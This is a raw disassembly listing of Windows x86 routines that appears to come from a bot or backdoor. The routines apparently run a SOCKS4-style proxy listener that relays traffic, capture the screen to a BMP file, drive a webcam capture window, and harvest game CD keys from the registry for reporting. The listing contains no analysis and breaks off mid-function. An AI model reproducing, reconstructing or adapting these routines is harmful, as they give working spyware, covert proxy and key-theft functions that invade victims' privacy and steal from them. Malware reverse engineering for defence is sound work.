var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 10h
mov esi, eax
pop ebx
lea edi, [ebp+var_D4]
push 2Ch
mov [ebp+var_4], ebx
pop ecx
rep movsd
push 1
xor esi, esi
pop edi
mov [eax+0A8h], edi
push ebx
lea eax, [ebp+var_14]
push esi
push eax
call sub_417430
add esp, 0Ch
mov word ptr [ebp+var_14], 2
push [ebp+var_40]
call dword_4413B8 ; ntohs
push 6
push edi
push 2
mov word ptr [ebp+var_14+2], ax
mov [ebp+var_10], esi
call dword_441438 ; socket
mov edi, eax
loc_407FAF: ; CODE XREF: ___:00407F4Ej
mov eax, [ebp+var_3C]
imul eax, 234h
push ebx
mov dword_446E1C[eax], edi
lea eax, [ebp+var_14]
push eax
push edi
call dword_4413E4 ; bind
test eax, eax
jnz loc_4080F3
push 0Ah
push edi
call dword_4413E0 ; listen
test eax, eax
jnz loc_4080F3
push [ebp+var_40]
push [ebp+var_D4]
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_2D4]
push offset unk_4296E0
push eax
call sub_4173AC
add esp, 10h
cmp [ebp+var_30], esi
jnz short loc_40802C
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40DC10
add esp, 14h
loc_40802C: ; CODE XREF: sub_407F51+B9j
; sub_407F51+172j ...
lea eax, [ebp+var_2D4]
push eax
call sub_40C4F7
pop ecx
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
push edi
call dword_44144C ; accept
push [ebp+var_3C]
mov ebx, eax
movzx eax, [ebp+var_22]
push eax
mov [ebp+var_28], esi
push [ebp+var_20]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_2D4]
push offset unk_42968C
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2D4]
push 11h
push eax
call sub_416E58
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_446E14[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset loc_408156
push esi
push esi
nop
call near ptr 7C810637h
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_446E24[ecx], eax
jz short loc_4080D3
loc_4080C0: ; CODE XREF: sub_407F51+180j
cmp [ebp+var_28], esi
jnz loc_40802C
push 5
nop
call near ptr 7C802442h
jmp short loc_4080C0
; ---------------------------------------------------------------------------
loc_4080D3: ; CODE XREF: sub_407F51+16Dj
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_2D4]
push offset unk_429644
push eax
call sub_4173AC
add esp, 0Ch
jmp loc_40802C
; ---------------------------------------------------------------------------
loc_4080F3: ; CODE XREF: sub_407F51+7Bj
; sub_407F51+8Cj
push edi
call dword_441450 ; closesocket
push [ebp+var_40]
lea eax, [ebp+var_2D4]
push offset unk_429604
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_408136
push esi
lea eax, [ebp+var_2D4]
push [ebp+var_34]
push eax
lea eax, [ebp+var_D0]
push eax
push [ebp+var_D4]
call sub_40DC10
add esp, 14h
loc_408136: ; CODE XREF: sub_407F51+1C3j
lea eax, [ebp+var_2D4]
push eax
call sub_40C4F7
push [ebp+var_3C]
call sub_417174
pop ecx
pop ecx
push esi
nop
call near ptr 7C80C058h
pop edi
pop esi
pop ebx
loc_408156: ; DATA XREF: sub_407F51+14Fo
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_446E1C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4413A0 ; select
test eax, eax
jnz short loc_4081D7
push dword ptr [esi]
call dword_441450 ; closesocket
push [ebp+arg_0]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_4081D7: ; CODE XREF: sub_407F51+26Cj
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4413D0 ; recv
test eax, eax
jg short loc_408208
push dword ptr [esi]
call dword_441450 ; closesocket
push [ebp+arg_0]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_408208: ; CODE XREF: sub_407F51+29Dj
cmp [ebp+var_4D0], 4
jnz loc_408402
cmp [ebp+var_4CF], 1
jnz loc_408402
cmp [ebp+var_44], bl
jz short loc_40829E
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_40829E
lea eax, [ebp+var_44]
push eax
lea eax, [ebp+var_4C8]
push eax
push offset unk_4297B4
call sub_40C56B
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call sub_417430
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_441408 ; send
push dword ptr [esi]
call dword_441450 ; closesocket
push [ebp+arg_0]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_40829E: ; CODE XREF: sub_407F51+2D4j
; sub_407F51+2EAj
push 10h
lea eax, [ebp+var_18]
push ebx
push eax
call sub_417430
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_441438 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_408336
call dword_44134C ; WSAGetLastError
push eax
push offset unk_429768
call sub_40C56B
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417430
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_441408 ; send
push dword ptr [esi]
call dword_441450 ; closesocket
push [ebp+arg_0]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_408336: ; CODE XREF: sub_407F51+386j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_441360 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4083A5
call dword_44134C ; WSAGetLastError
push eax
push offset unk_429718
call sub_40C56B
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call sub_417430
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_441408 ; send
push dword ptr [esi]
call dword_441450 ; closesocket
push [ebp+arg_0]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_4083A5: ; CODE XREF: sub_407F51+3F5j
push 400h
lea eax, [ebp+var_4C8]
push ebx
push eax
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_441408 ; send
push dword ptr [esi]
push edi
call sub_40841A
pop ecx
pop ecx
push edi
call dword_441450 ; closesocket
push dword ptr [esi]
call dword_441450 ; closesocket
push [ebp+arg_0]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
loc_408402: ; CODE XREF: sub_407F51+2BEj
; sub_407F51+2CBj
push dword ptr [esi]
call dword_441450 ; closesocket
push [ebp+arg_0]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
sub_407F51 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40841A proc near ; CODE XREF: sub_407F51+48Bp
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_408430: ; CODE XREF: sub_40841A+C5j
; sub_40841A+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_408448: ; CODE XREF: sub_40841A+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_408458
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_408448
loc_408458: ; CODE XREF: sub_40841A+33j
cmp ecx, 1
jnz short loc_40846D
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_40846D: ; CODE XREF: sub_40841A+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_417430
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4413A0 ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4412B0 ; __WSAFDIsSet
test eax, eax
jz short loc_4084CD
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_4413D0 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_408515
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jz short loc_408515
loc_4084CD: ; CODE XREF: sub_40841A+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4412B0 ; __WSAFDIsSet
test eax, eax
jz loc_408430
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_4413D0 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_408515
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_441408 ; send
cmp eax, 0FFFFFFFFh
jnz loc_408430
loc_408515: ; CODE XREF: sub_40841A+9Aj
; sub_40841A+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_40841A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40851A proc near ; CODE XREF: sub_40F6F1+46A2p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4413A4 ; CreateDCA
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_40874E
push 8
push edi
call dword_4413C0 ; GetDeviceCaps
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4413C0 ; GetDeviceCaps
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4413C0 ; GetDeviceCaps
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_40857C
push 18h
push edi
call dword_4413C0 ; GetDeviceCaps
mov ebx, 100h
jmp short loc_40857E
; ---------------------------------------------------------------------------
loc_40857C: ; CODE XREF: sub_40851A+50j
xor ebx, ebx
loc_40857E: ; CODE XREF: sub_40851A+60j
push edi
call dword_441404 ; CreateCompatibleDC
cmp eax, esi
mov [ebp+var_4], eax
jz loc_408733
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4413FC ; CreateDIBSection
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_40873E
push eax
push [ebp+var_4]
call dword_441294 ; SelectObject
cmp eax, esi
jz loc_40873E
cmp eax, 0FFFFFFFFh
jz loc_40873E
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_441400 ; BitBlt
test eax, eax
jz loc_40873E
cmp ebx, esi
jz short loc_40863B
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4412E8 ; GetDIBColorTable
mov ebx, eax
loc_40863B: ; CODE XREF: sub_40851A+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
nop
call near ptr 7C801A24h
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_40871E
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
nop
call near ptr 7C810D87h
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
nop
call near ptr 7C810D87h
cmp ebx, esi
jz short loc_408700
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
nop
call near ptr 7C810D87h
loc_408700: ; CODE XREF: sub_40851A+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
nop
call near ptr 7C810D87h
push [ebp+arg_0]
nop
call near ptr 7C809B47h
push 1
pop esi
loc_40871E: ; CODE XREF: sub_40851A+1A2j
push [ebp+var_1C]
call dword_44131C ; DeleteObject
push [ebp+var_4]
call dword_441280 ; DeleteDC
mov edi, [ebp+var_20]
loc_408733: ; CODE XREF: sub_40851A+70j
push edi
call dword_441280 ; DeleteDC
mov eax, esi
jmp short loc_408750
; ---------------------------------------------------------------------------
loc_40873E: ; CODE XREF: sub_40851A+C7j
; sub_40851A+D9j ...
push edi
call dword_441280 ; DeleteDC
push [ebp+var_4]
call dword_441280 ; DeleteDC
loc_40874E: ; CODE XREF: sub_40851A+23j
xor eax, eax
loc_408750: ; CODE XREF: sub_40851A+222j
pop edi
pop esi
pop ebx
leave
retn
sub_40851A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408755 proc near ; CODE XREF: sub_40F6F1+47DEp
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_43FE50
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_441310
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_408793
mov eax, esi
jmp loc_408949
; ---------------------------------------------------------------------------
loc_408793: ; CODE XREF: sub_408755+35j
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_4087B0
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_441414 ; SendMessageA
jmp short loc_4087B2
; ---------------------------------------------------------------------------
loc_4087B0: ; CODE XREF: sub_408755+47j
xor eax, eax
loc_4087B2: ; CODE XREF: sub_408755+59j
cmp eax, ebx
jnz short loc_4087BD
loc_4087B6: ; CODE XREF: sub_408755+88j
; sub_408755+BCj
mov ebx, esi
jmp loc_40893E
; ---------------------------------------------------------------------------
loc_4087BD: ; CODE XREF: sub_408755+5Fj
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_4087DA
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_441414 ; SendMessageA
loc_4087DA: ; CODE XREF: sub_408755+71j
cmp [ebp+var_20], ebx
jz short loc_4087B6
push edi
call dword_441358 ; IsWindow
test eax, eax
mov edi, 42Ch
jz short loc_408800
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_441414 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_408803
; ---------------------------------------------------------------------------
loc_408800: ; CODE XREF: sub_408755+98j
mov [ebp+arg_4], ebx
loc_408803: ; CODE XREF: sub_408755+A9j
push [ebp+arg_4]
call sub_417BEE
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_4087B6
push [ebp+arg_4]
call sub_417BEE
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_40882A
push 1
pop ebx
jmp loc_40893E
; ---------------------------------------------------------------------------
loc_40882A: ; CODE XREF: sub_408755+CBj
push [ebp+var_4]
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408847
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_441414 ; SendMessageA
loc_408847: ; CODE XREF: sub_408755+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_417490
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_408862
mov ecx, 280h
loc_408862: ; CODE XREF: sub_408755+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_40886E
mov eax, 1E0h
loc_40886E: ; CODE XREF: sub_408755+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_441358 ; IsWindow
test eax, eax
mov edi, 42Dh
jz short loc_4088B8
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_441414 ; SendMessageA
loc_4088B8: ; CODE XREF: sub_408755+153j
push [ebp+var_4]
call dword_441358 ; IsWindow
test eax, eax
jz short loc_4088D5
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_441414 ; SendMessageA
loc_4088D5: ; CODE XREF: sub_408755+16Ej
push [ebp+var_4]
call dword_441358 ; IsWindow
test eax, eax
jz short loc_4088F4
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_441414 ; SendMessageA
loc_4088F4: ; CODE XREF: sub_408755+18Bj
push [ebp+var_4]
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408911
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_441414 ; SendMessageA
loc_408911: ; CODE XREF: sub_408755+1AAj
push [ebp+var_8]
call sub_417C62
push esi
call sub_417C62
pop ecx
pop ecx
push [ebp+var_4]
call dword_441358 ; IsWindow
test eax, eax
jz short loc_40893E
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_441414 ; SendMessageA
loc_40893E: ; CODE XREF: sub_408755+63j
; sub_408755+D0j ...
push [ebp+var_4]
call dword_441468 ; DestroyWindow
mov eax, ebx
loc_408949: ; CODE XREF: sub_408755+39j
pop edi
pop esi
pop ebx
leave
retn
sub_408755 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40894E proc near ; CODE XREF: sub_40F6F1+4897p
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_43FE50
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_441310
mov edi, eax
cmp edi, ebx
jnz short loc_40898C
mov eax, esi
jmp loc_408B88
; ---------------------------------------------------------------------------
loc_40898C: ; CODE XREF: sub_40894E+35j
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_4089A9
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_441414 ; SendMessageA
jmp short loc_4089AB
; ---------------------------------------------------------------------------
loc_4089A9: ; CODE XREF: sub_40894E+47j
xor eax, eax
loc_4089AB: ; CODE XREF: sub_40894E+59j
cmp eax, ebx
jnz short loc_4089B6
loc_4089AF: ; CODE XREF: sub_40894E+8Bj
; sub_40894E+BCj
mov ebx, esi
jmp loc_408B7F
; ---------------------------------------------------------------------------
loc_4089B6: ; CODE XREF: sub_40894E+5Fj
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_4089D6
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_441414 ; SendMessageA
loc_4089D6: ; CODE XREF: sub_40894E+71j
cmp [ebp+var_7C], ebx
jz short loc_4089AF
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_4089F9
push ebx
push ebx
push 42Ch
push edi
call dword_441414 ; SendMessageA
mov [ebp+arg_4], eax
jmp short loc_4089FC
; ---------------------------------------------------------------------------
loc_4089F9: ; CODE XREF: sub_40894E+96j
mov [ebp+arg_4], ebx
loc_4089FC: ; CODE XREF: sub_40894E+A9j
push [ebp+arg_4]
call sub_417BEE
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_4089AF
push [ebp+arg_4]
call sub_417BEE
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_408A23
push 1
pop ebx
jmp loc_408B7F
; ---------------------------------------------------------------------------
loc_408A23: ; CODE XREF: sub_40894E+CBj
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408A40
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_441414 ; SendMessageA
loc_408A40: ; CODE XREF: sub_40894E+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_417490
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_408A5B
mov ecx, 0A0h
loc_408A5B: ; CODE XREF: sub_40894E+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_408A65
push 78h
pop eax
loc_408A65: ; CODE XREF: sub_40894E+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408AAA
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_441414 ; SendMessageA
loc_408AAA: ; CODE XREF: sub_40894E+14Aj
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408AC7
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_441414 ; SendMessageA
loc_408AC7: ; CODE XREF: sub_40894E+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408B05
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_441414 ; SendMessageA
loc_408B05: ; CODE XREF: sub_40894E+1A3j
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408B20
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_441414 ; SendMessageA
loc_408B20: ; CODE XREF: sub_40894E+1C0j
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408B39
push ebx
push ebx
push 43Eh
push edi
call dword_441414 ; SendMessageA
loc_408B39: ; CODE XREF: sub_40894E+1DBj
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408B56
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_441414 ; SendMessageA
loc_408B56: ; CODE XREF: sub_40894E+1F4j
push [ebp+var_4]
call sub_417C62
push esi
call sub_417C62
pop ecx
pop ecx
push edi
call dword_441358 ; IsWindow
test eax, eax
jz short loc_408B7F
push ebx
push ebx
push 40Bh
push edi
call dword_441414 ; SendMessageA
loc_408B7F: ; CODE XREF: sub_40894E+63j
; sub_40894E+D0j ...
push edi
call dword_441468 ; DestroyWindow
mov eax, ebx
loc_408B88: ; CODE XREF: sub_40894E+39j
pop edi
pop esi
pop ebx
leave
retn
sub_40894E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408B8D proc near ; CODE XREF: sub_40F6F1+59B4p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_429814, ebx
mov [ebp+var_C], 80h
jz loc_408D3F
push esi
push edi
mov eax, offset off_429814
mov esi, offset dword_429820
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408BBD: ; CODE XREF: sub_408B8D+1AAj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_441428 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4412C4 ; RegQueryValueExA
test eax, eax
jnz loc_408D25
mov eax, [esi]
cmp eax, ebx
jz loc_408CE9
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4173AC
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41823A
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_408D25
push eax
loc_408C36: ; CODE XREF: sub_408B8D+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_4186EC
add esp, 0Ch
test eax, eax
jz loc_408CDE
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_408C63
push [ebp+var_8]
jmp short loc_408C36
; ---------------------------------------------------------------------------
loc_408C63: ; CODE XREF: sub_408B8D+CFj
push 3Dh
push dword ptr [esi+4]
call sub_418630
pop ecx
test eax, eax
pop ecx
jz short loc_408CA2
lea eax, [ebp+var_70]
push offset asc_42AA18 ; "="
push eax
call sub_41824D
push offset asc_42AA18 ; "="
push ebx
call sub_41824D
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4173AC
add esp, 20h
jmp short loc_408CB9
; ---------------------------------------------------------------------------
loc_408CA2: ; CODE XREF: sub_408B8D+E4j
lea eax, [ebp+var_70]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4173AC
add esp, 10h
loc_408CB9: ; CODE XREF: sub_408B8D+113j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40DC10
lea eax, [ebp+var_2F0]
push eax
call sub_40C4F7
add esp, 18h
loc_408CDE: ; CODE XREF: sub_408B8D+B9j
push [ebp+var_8]
call sub_4180DC
pop ecx
jmp short loc_408D25
; ---------------------------------------------------------------------------
loc_408CE9: ; CODE XREF: sub_408B8D+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
